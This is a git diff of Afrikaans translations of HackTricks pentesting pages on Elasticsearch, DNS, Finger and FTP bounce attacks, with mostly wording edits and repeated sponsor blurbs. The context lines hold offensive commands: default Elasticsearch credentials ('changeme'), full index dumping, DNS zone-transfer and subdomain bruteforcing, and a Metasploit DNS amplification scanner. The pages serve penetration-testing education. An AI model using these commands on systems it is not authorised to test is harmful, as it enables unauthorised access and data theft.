**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -52,7 +52,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
## Basiese inligting
|
## Basiese inligting
|
||||||
|
|
||||||
Elasticsearch is 'n **verspreide**, **oopbron** soek- en analise-enjin vir **alle tipes data**. Dit is bekend vir sy **spoed**, **schaalbaarheid**, en **eenvoudige REST API's**. Gebou op Apache Lucene, is dit eerste keer vrygestel in 2010 deur Elasticsearch N.V. (nou bekend as Elastic). Elasticsearch is die kernkomponent van die Elastic Stack, 'n versameling oopbron gereedskap vir data-inname, verryking, berging, analise, en visualisering. Hierdie stapel, algemeen bekend as die ELK Stapel, sluit ook Logstash en Kibana in, en het nou liggewig data versendingsagente genaamd Beats.
|
Elasticsearch is 'n **verspreide**, **oopbron** soek- en analitiese enjin vir **alle tipes data**. Dit is bekend vir sy **spoed**, **schaalbaarheid**, en **eenvoudige REST API's**. Gebou op Apache Lucene, is dit eerste keer vrygestel in 2010 deur Elasticsearch N.V. (nou bekend as Elastic). Elasticsearch is die kernkomponent van die Elastic Stack, 'n versameling oopbron gereedskap vir data-inname, verryking, berging, analise, en visualisering. Hierdie stapel, algemeen bekend as die ELK Stapel, sluit ook Logstash en Kibana in, en het nou liggewig data versendingsagente genaamd Beats.
|
||||||
|
|
||||||
### Wat is 'n Elasticsearch-indeks?
|
### Wat is 'n Elasticsearch-indeks?
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ Elasticsearch is 'n **verspreide**, **oopbron** soek- en analise-enjin vir **all
|
||||||
|
|
||||||
Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soektogte te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord voorkom.
|
Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soektogte te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord voorkom.
|
||||||
|
|
||||||
Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soektogte moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer.
|
Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soek moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer.
|
||||||
|
|
||||||
**Standaard poort**: 9200/tcp
|
**Standaard poort**: 9200/tcp
|
||||||
|
|
||||||
|
@ -49,7 +49,7 @@ As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry, sien die
|
||||||
|
|
||||||
### Verifikasie
|
### Verifikasie
|
||||||
|
|
||||||
**Standaard het Elasticsearch nie verifikasie geaktiveer nie**, so standaard kan jy alles binne die databasis toegang sonder om enige geloofsbriewe te gebruik.
|
**Standaard het Elasticsearch nie verifikasie geaktiveer nie**, so jy kan standaard alles binne die databasis toegang sonder om enige geloofsbriewe te gebruik.
|
||||||
|
|
||||||
Jy kan verifieer dat verifikasie gedeaktiveer is met 'n versoek na:
|
Jy kan verifieer dat verifikasie gedeaktiveer is met 'n versoek na:
|
||||||
```bash
|
```bash
|
||||||
|
@ -60,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||||
```bash
|
```bash
|
||||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||||
```
|
```
|
||||||
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede** nodig het om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\
|
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerlinge** nodig het om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\
|
||||||
Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker.
|
Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker.
|
||||||
```
|
```
|
||||||
curl -X GET http://user:password@IP:9200/
|
curl -X GET http://user:password@IP:9200/
|
||||||
|
@ -139,7 +139,7 @@ _Nota: As jy 'n groter getal aandui, sal al die inskrywings steeds gedump word,
|
||||||
|
|
||||||
### Dump alles
|
### Dump alles
|
||||||
|
|
||||||
Om alles te dump kan jy net na die **dieselfde pad as voorheen gaan, maar sonder om enige indeks aan te dui** `http://host:9200/_search?pretty=true` soos `http://10.10.10.115:9200/_search?pretty=true`\
|
Om alles te dump kan jy net na die **dieselfde pad as voor gaan, maar sonder om enige indeks aan te dui** `http://host:9200/_search?pretty=true` soos `http://10.10.10.115:9200/_search?pretty=true`\
|
||||||
Onthou dat in hierdie geval die **standaard limiet van 10** resultate toegepas sal word. Jy kan die `size` parameter gebruik om 'n **groter hoeveelheid resultate** te dump. Lees die vorige afdeling vir meer inligting.
|
Onthou dat in hierdie geval die **standaard limiet van 10** resultate toegepas sal word. Jy kan die `size` parameter gebruik om 'n **groter hoeveelheid resultate** te dump. Lees die vorige afdeling vir meer inligting.
|
||||||
|
|
||||||
### Soek
|
### Soek
|
||||||
|
@ -148,7 +148,7 @@ As jy op soek is na inligting kan jy 'n **rauwe soektog op al die indekse** doen
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (335).png>)
|
![](<../.gitbook/assets/image (335).png>)
|
||||||
|
|
||||||
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** in die **pad**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** op die **pad**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||||
|
|
||||||
_Nota dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_
|
_Nota dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_
|
||||||
|
|
||||||
|
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,15 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur middel van **maklik onthoubare domeinnames** soos google.com of facebook.com, in plaas van die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier vereenvoudig waarop ons die aanlyn wêreld navigeer.
|
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur **maklik onthoubare domeinnames** soos google.com of facebook.com, eerder as die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier waarop ons die aanlyn wêreld navigeer, vereenvoudig.
|
||||||
|
|
||||||
**Standaard poort:** 53
|
**Standaard poort:** 53
|
||||||
```
|
```
|
||||||
|
@ -36,7 +36,7 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
### Verskillende DNS Bedieners
|
### Verskillende DNS Bedieners
|
||||||
|
|
||||||
* **DNS Wortel Bedieners**: Hierdie is aan die top van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13.
|
* **DNS Wortel Bedieners**: Hierdie is aan die bokant van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13.
|
||||||
* **Autoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortelbedieners opgestoot.
|
* **Autoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortelbedieners opgestoot.
|
||||||
* **Nie-autoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
|
* **Nie-autoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
|
||||||
* **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die autoritatiewe bediener bepaal word.
|
* **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die autoritatiewe bediener bepaal word.
|
||||||
|
@ -54,7 +54,7 @@ dig version.bind CHAOS TXT @DNS
|
||||||
```
|
```
|
||||||
Boonop kan die hulpmiddel [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
|
Boonop kan die hulpmiddel [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
|
||||||
|
|
||||||
Dit is ook moontlik om die banner te gryp met 'n **nmap** skrip:
|
Dit is ook moontlik om die banier te gryp met 'n **nmap** skrip:
|
||||||
```
|
```
|
||||||
--script dns-nsid
|
--script dns-nsid
|
||||||
```
|
```
|
||||||
|
@ -128,7 +128,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
|
||||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||||
```
|
```
|
||||||
### Aktiewe Gidsservers
|
### Aktiewe Gids servers
|
||||||
```bash
|
```bash
|
||||||
dig -t _gc._tcp.lab.domain.com
|
dig -t _gc._tcp.lab.domain.com
|
||||||
dig -t _ldap._tcp.lab.domain.com
|
dig -t _ldap._tcp.lab.domain.com
|
||||||
|
@ -172,7 +172,7 @@ dig google.com A @<IP>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -182,11 +182,11 @@ dig google.com A @<IP>
|
||||||
|
|
||||||
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat veroorsaak is deur 'n e-pos wat na 'n ongeldige adres binne 'n teiken-domein gestuur is, word waardevolle interne netwerkbesonderhede dikwels bekend gemaak.
|
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat veroorsaak is deur 'n e-pos wat na 'n ongeldige adres binne 'n teiken-domein gestuur is, word waardevolle interne netwerkbesonderhede dikwels bekend gemaak.
|
||||||
|
|
||||||
Die verskafde nie-afleweringsverslag sluit inligting in soos:
|
Die verskafde nie-aflewering verslag sluit in:
|
||||||
|
|
||||||
* Die genererende bediener is geïdentifiseer as `server.example.com`.
|
* Die genererende bediener is geïdentifiseer as `server.example.com`.
|
||||||
* 'n Foutkennisgewing vir `user@example.com` met die foutkode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; nie gevind nie` is teruggestuur.
|
* 'n Foutkennisgewing vir `user@example.com` met die foutkode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; nie gevind nie` is teruggestuur.
|
||||||
* Interne IP-adresse en gasheername is in die oorspronklike boodskapkoppe bekend gemaak.
|
* Interne IP-adresse en gasheername is bekend gemaak in die oorspronklike boodskapkoppe.
|
||||||
```markdown
|
```markdown
|
||||||
The original message headers were modified for anonymity and now present randomized data:
|
The original message headers were modified for anonymity and now present randomized data:
|
||||||
|
|
||||||
|
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, beveiligingskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Finger** program/dienst is gebruik om besonderhede oor rekenaargebruikers te verkry. Tipies sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam**, en, in sommige gevalle, addisionele besonderhede in. Hierdie ekstra besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat e-pos deur die gebruiker gelees is, en die inhoud van die gebruiker se plan en projeklêers insluit.
|
Die **Finger** program/dienste word gebruik om besonderhede oor rekenaargebruikers te verkry. Gewoonlik sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam**, en, in sommige gevalle, addisionele besonderhede in. Hierdie ekstra besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat die gebruiker e-pos gelees het, en die inhoud van die gebruiker se plan en projeklêers insluit.
|
||||||
|
|
||||||
**Standaard poort:** 79
|
**Standaard poort:** 79
|
||||||
```
|
```
|
||||||
|
@ -75,9 +75,9 @@ finger @internal@external
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om essensiële bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -15,21 +15,21 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
# Samevatting
|
# Samevatting
|
||||||
|
|
||||||
As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek om lêers van ander FTP bedieners \(waarvan jy 'n paar akrediteer het\) en daardie lêer na jou eie bediener aflaai.
|
As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek om lêers van ander FTP bedieners \(waar jy van sommige akrediteerings weet\) en daardie lêer na jou eie bediener aflaai.
|
||||||
|
|
||||||
## Vereistes
|
## Vereistes
|
||||||
|
|
||||||
- Geldige FTP akrediteer in die FTP Middel bediener
|
- Geldige FTP akrediteerings in die FTP Middel bediener
|
||||||
- Geldige FTP akrediteer in die Slachtoffer FTP bediener
|
- Geldige FTP akrediteerings in die Slachtoffer FTP bediener
|
||||||
- Beide bedieners aanvaar die PORT opdrag \(bounce FTP aanval\)
|
- Beide bedieners aanvaar die PORT opdrag \(bounce FTP aanval\)
|
||||||
- Jy kan binne 'n gids van die FRP Middel bediener skryf
|
- Jy kan binne 'n gids van die FRP Middel bediener skryf
|
||||||
- Die middel bediener sal meer toegang hê binne die Slachtoffer FTP Bediener as jy om een of ander rede \(dit is wat jy gaan benut\)
|
